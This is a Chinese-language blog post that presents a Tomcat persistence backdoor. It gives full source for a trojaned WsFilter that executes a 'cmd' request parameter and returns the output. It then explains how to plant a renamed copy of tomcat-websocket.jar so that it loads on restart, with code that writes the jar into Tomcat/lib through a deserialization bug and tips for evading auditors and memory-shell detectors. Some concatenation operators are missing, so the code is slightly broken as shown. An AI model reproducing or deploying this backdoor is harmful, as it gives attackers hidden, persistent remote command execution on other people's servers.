0x01 介绍
今天研究内存马相关的东西,偶然间发现一处解析BUG
一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE
不一定算得上是漏洞,不过我还是向Tomcat
发了邮件尝试
Tomcat
果然拒绝了,原因是需要在其他漏洞的基础上触发
这个漏洞其实在一些情况下会有巧妙的利用,本文就围绕这个利用点来谈
0x02 思路
思路来自于之前写的一篇文章:某知名Java框架内存马挖掘
从中得到一种思路:将恶意代码逻辑隐藏到目标框架必须的Filter中
换句话来说,是否能将恶意代码注入到Tomcat
默认存在的Filter
中呢
使用c0ny1师傅的检测工具发现,任何情况都会存在WsFilter
能否构造出一个恶意的WsFilter
类注入到依赖库中
0x03 构造
在目标Tomcat/lib
下找到tomcat-websocket.jar
找到WsFilter
的代码,在doFilter
中插入一些代码
我这里是简单的回显执行命令,也可以是一些其他逻辑
代码语言:javascript复制package org.apache.tomcat.websocket.server;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* Handles the initial HTTP connection for WebSocket connections.
*/
public class WsFilter implements Filter {
private WsServerContainer sc;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(
Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
// 不改变原有逻辑,在这里插入代码
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.equals("")) {
Process process = Runtime.getRuntime().exec(cmd);
StringBuilder outStr = new StringBuilder();
response.getWriter().print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
outStr.append(s "n");
}
response.getWriter().print(outStr.toString());
response.getWriter().print("</pre>");
}
// This filter only needs to handle WebSocket upgrade requests
if (!sc.areEndpointsRegistered() ||
!UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
chain.doFilter(request, response);
return;
}
// HTTP request with an upgrade header for WebSocket present
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
// Check to see if this WebSocket implementation has a matching mapping
String path;
String pathInfo = req.getPathInfo();
if (pathInfo == null) {
path = req.getServletPath();
} else {
path = req.getServletPath() pathInfo;
}
WsMappingResult mappingResult = sc.findMapping(path);
if (mappingResult == null) {
// No endpoint registered for the requested path. Let the
// application handle it (it might redirect or forward for example)
chain.doFilter(request, response);
return;
}
UpgradeUtil.doUpgrade(sc, req, resp, mappingResult.getConfig(),
mappingResult.getPathParams());
}
@Override
public void destroy() {
// NO-OP
}
}
编译WsFilter.java
生成WsFilter.class
字节码文件
然后使用手段把tomcat-websocket.jar
里的WsFilter.class
替换了
(压缩文件本身有替换功能,也可以使用工具重打包等)
这时候启动Tomcat
发现一切正常,但已经存在了一个“永远”的Webshell
审计人员会想方设法审计项目代码本身,或者使用工具检查内存马是否存在
然而他们不会想到是Tomcat
必须的WsFilter
有问题
0x04 核心
以上逻辑看似合理,实际上有很大的问题:
依赖库在Tomcat
运行的时候被占用不可修改,所以要停下Tomcat
服务,然后才能替换依赖库
如果思路一直放在如何修改被占用的依赖库,那么这个问题是无解的
但我发现了一种巧妙的方法,来自于Tomcat
对Jar
包的特殊加载顺序
(这里是Windows Tomcat 8
的测试环境,其他环境不确定有这样的顺序)
如果我在Tomcat/lib
下复制一个tomcat-websocket.jar
区别在于.jar
之前加入一个空格:tomcat-websocket .jar
这时候启动Tomcat
会发现tomcat-websocket .jar
被加载了
参考图片中的路径,其中包含
有了突破思路
0x05 利用
假设目前有一个反序列化漏洞触发点,我们首先要做的是给Tomcat/lib
下添加恶意库
这个库可以由黑客自行构造,然后转成二进制数据传过去
代码语言:javascript复制try {
// 从standardContext中得到的resource路径是tomcat/lib
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)
Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();
String path = standardCtx.getClass().getClassLoader().getResource("").toString();
// 得到需要写入的文件路径tomcat/lib/tomcat-websocket .jar
String finalPath = path.split("file:/")[1] "tomcat-websocket .jar";
// 为了测试方便直接读了文件
// 实战中可以传过来base64的二进制数据(文件不是很大只有200K左右)
byte[] data = Files.readAllBytes(Paths.get("C:/JavaCode/Tomcat/tomcat-websocket .jar"));
// 写入目标路径
Files.write(Paths.get(finalPath),data);
} catch (Exception e) {
e.printStackTrace();
}
暂时是无法触发的,不过如果程序添加新的功能或者特殊情况,一定会重启
(其实服务端的Tomcat重启概率不算低,很多情况都会重启)
重启后会加载恶意的tomcat-websocket .jar
文件,这时候已经实现了顽固的内存马
攻击方可以守株待兔时不时尝试下/xxx.jsp?cmd=whoami
看结果,一旦有结果说明有重启,加载了恶意jar
经过测试,发现.
等情况也会导致这种问题,不过暂时没有做深入的研究
如下图,防守方在审计时,看到FilterName
和FilterClass
都是Tomcat
自带的,FilterClassFile
位于Tomcat/lib
下的,是没有什么问题的
面多众多的Filter
和Servlet
情况下,很难会想到是WsFilter
出的问题
后来测试发现了一种进一步隐藏的方式:
黑客可以获取路径得到tomcat版本,比如我这里的8.5.72
,分割路径即可获得字符串
然后给新jar包命名位tomcat-websocket-8.5.72.jar
相对于加个.
或者空格,这种做法更为隐蔽
代码在:https://github.com/EmYiQing/MemShell/